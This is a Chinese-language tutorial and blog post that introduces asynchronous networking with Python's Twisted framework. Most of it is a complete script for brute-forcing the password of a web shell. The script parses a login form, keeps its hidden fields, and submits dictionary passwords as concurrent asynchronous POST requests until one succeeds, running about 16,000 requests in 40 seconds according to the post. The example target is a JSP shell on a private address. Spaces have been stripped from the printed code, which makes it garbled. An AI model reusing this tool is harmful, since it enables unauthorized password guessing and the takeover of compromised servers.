利用Python的Twisted框架实现webshell密码扫描器的教程
好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我。
iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数socket,http通信都是同步的。
同步的程序优点是好想,好写。缺点大家都应该感受到过,比如在connect的时候,recive的时候,程序都会阻塞在那里,等上片刻才能继续前进。
异步则是另一种处理思路,类似于xml解析的sax方法,换句话说,就是当面临conncet,recive等任务的时候,程序先去执行别的代码,等到网络通信有了结果,系统会通知你,然后再去回调刚才中断的地方。
具体的代码下面有,我就细说了,大概总结下下面代码涉及到的技术
1.页面解析,webshell密码自动post,必然涉及到页面解析问题,即如何去找到页面中form表单中合适的input元素并提交,其中包括了hidden的有value,password的需要配合字典。具体实现靠的是SGMLParser
2.正常的页面请求,我利用了urlopen(为了使用cookie,实际使用的是opener),片段如下
cj=cookielib.CookieJar() opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) req=urllib2.Request(url,urllib.urlencode(bodyfieleds)) resp=opener.open(req,timeout=60) strlist=resp.read()
代码简单,这就是python的魅力,bodyfieleds即为post的参数部分,是一个字典
3.异步的页面请求,这里用了twisted的getpage片段如下:
self.PostDATA[self.passw]=passl #printtemp zs=getPage(self.url,method='POST',postdata=urllib.urlencode(self.PostDATA),headers=self.headers) zs.addCallback(self.parse_page,self.url,passl).addErrback(self.fetch_error,self.url,passl)
可以看到如何利用getPage去传递Post参数,以及header(cookie也是防盗header里面的)
以及自定义的Callback函数,可以添加写你需要的参数也传过去,我这里使用了url和pass
4.协程并发,代码如下:
defInitTask(self): forpasslinself.passlist[:]: d=self.addURL(passl) yieldd defDoTask(self): deferreds=[] coop=task.Cooperator() work=self.InitTask() foriinxrange(self.ThreadNum): d=coop.coiterate(work) deferreds.append(d) dl=defer.DeferredList(deferreds)
就是这些了。效率上,我在网络通信较好的情况下,40s可以发包收包大致16000个
#-*-coding:utf-8-*-
#coding=utf-8
#
#
#codebyicefish
#http://insight-labs.org/
#http://wcf1987.iteye.com/
#
fromtwisted.internetimportiocpreactor
iocpreactor.install()
fromtwisted.web.clientimportgetPage
fromtwisted.internetimportdefer,task
fromtwisted.internetimportreactor
importos
fromhttplibimportHTTPConnection
importurllib
importurllib2
importsys
importcookielib
importtime
importthreading
fromQueueimportLifoQueue
#importhttplib2
fromsgmllibimportSGMLParser
importos
fromhttplibimportHTTPConnection
importurllib
importurllib2
importsys
importcookielib
importtime
importthreading
fromQueueimportLifoQueue
fromsgmllibimportSGMLParser
classURLLister(SGMLParser):
def__init__(self):
SGMLParser.__init__(self)
self.input={}
defstart_input(self,attrs):
#printattrs
fork,vinattrs:
ifk=='type':
type=v
ifk=='name':
name=v
ifk=='value':
value=v
iftype=='hidden'andvalue!=None:
self.input[name]=value
iftype=='password':
self.input['icekey']=name
classwebShellPassScan(object):
def__init__(self,url,dict):
self.url=url
self.ThreadNum=10
self.dict=dict
defgetInput(self,url):
html,c=self.PostUrl(url,'')
parse=URLLister()
parse.feed(html)
returnparse.input
defPostUrl(self,url,bodyfieleds):
try:
cj=cookielib.CookieJar()
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
req=urllib2.Request(url,urllib.urlencode(bodyfieleds))
resp=opener.open(req,timeout=60)
strlist=resp.read()
cookies=[]
forcincj:
cookies.append(c.name+'='+c.value)
returnstrlist,cookies
except:
return''
defparse_page(self,data,url,passk):
#printurl
self.TestNum=self.TestNum+1
ifdata!=self.sretandlen(data)!=0anddata!='iceerror':
self.timeEnd=time.time()
print'ScanPasswordEnd:'+time.strftime('%Y-%m-%d%H:%M:%S',time.localtime(self.timeEnd))
print'totalScanTime:'+str((self.timeEnd-self.timeStart)),'s'
print'totalScanPasswords:'+str(self.TestNum)
print"*************************thekeypass***************************\n"
printpassk
print"*************************thekeypass***************************\n"
reactor.stop()
ifself.TestNum%1000==0:
#printTestNum
sys.stdout.write('detectPasswordNum:'+str(self.TestNum)+'\n')
sys.stdout.flush()
deffetch_error(self,error,url,passl):
self.addURL(passl)
defrun(self):
self.timeStart=0
self.timeEnd=0
self.TestNum=0
self.sret=''
print'\n\ndetecttheWebShellURL:'+self.url
self.PassNum=0
self.timeStart=time.time()
print'ScanPasswordStart:'+time.strftime('%Y-%m-%d%H:%M:%S',time.localtime(self.timeStart))
filepath=os.path.abspath(os.curdir)
file=open(filepath+"\\"+self.dict)
self.passlist=[]
forlinesinfile:
self.passlist.append(lines.strip())
#printlines.strip()
file.close()
PassNum=len(self.passlist)
print'getpasswordsnum:'+str(PassNum)
inputdic=self.getInput(self.url)
self.passw=inputdic['icekey']
delinputdic['icekey']
self.PostDATA=dict({self.passw:'icekey'},**inputdic)
self.sret,cookies=self.PostUrl(self.url,self.PostDATA)
self.headers={'Content-Type':'application/x-www-form-urlencoded'}
self.headers['cookies']=cookies
print'cookies:'+str(cookies)
self.DoTask()
#self.DoTask2()
#self.DoTask3()
print'startrun'
self.key='start'
reactor.run()
defInitTask(self):
forpasslinself.passlist[:]:
d=self.addURL(passl)
yieldd
defInitTask2(self):
forpasslinself.passlist[:]:
d=self.sem.run(self.addURL,passl)
self.deferreds.append(d)
defInitTask3(self):
forpasslinself.passlist[:]:
d=self.addURL(passl)
self.deferreds.append(d)
defDoTask(self):
deferreds=[]
coop=task.Cooperator()
work=self.InitTask()
foriinxrange(self.ThreadNum):
d=coop.coiterate(work)
deferreds.append(d)
dl=defer.DeferredList(deferreds)
#dl.addErrback(self.errorCall)
#dl.addCallback(self.finish)
defDoTask2(self):
self.deferreds=[]
self.sem=defer.DeferredSemaphore(self.ThreadNum)
self.InitTask2()
dl=defer.DeferredList(self.deferreds)
defDoTask3(self):
self.deferreds=[]
self.InitTask3()
dl=defer.DeferredList(self.deferreds)
defaddURL(self,passl):
self.PostDATA[self.passw]=passl
#printtemp
zs=getPage(self.url,method='POST',postdata=urllib.urlencode(self.PostDATA),headers=self.headers)
zs.addCallback(self.parse_page,self.url,passl).addErrback(self.fetch_error,self.url,passl)
returnzs
a=webShellPassScan('http://192.168.0.2:8080/f15.jsp','source_new.txt')
a.run()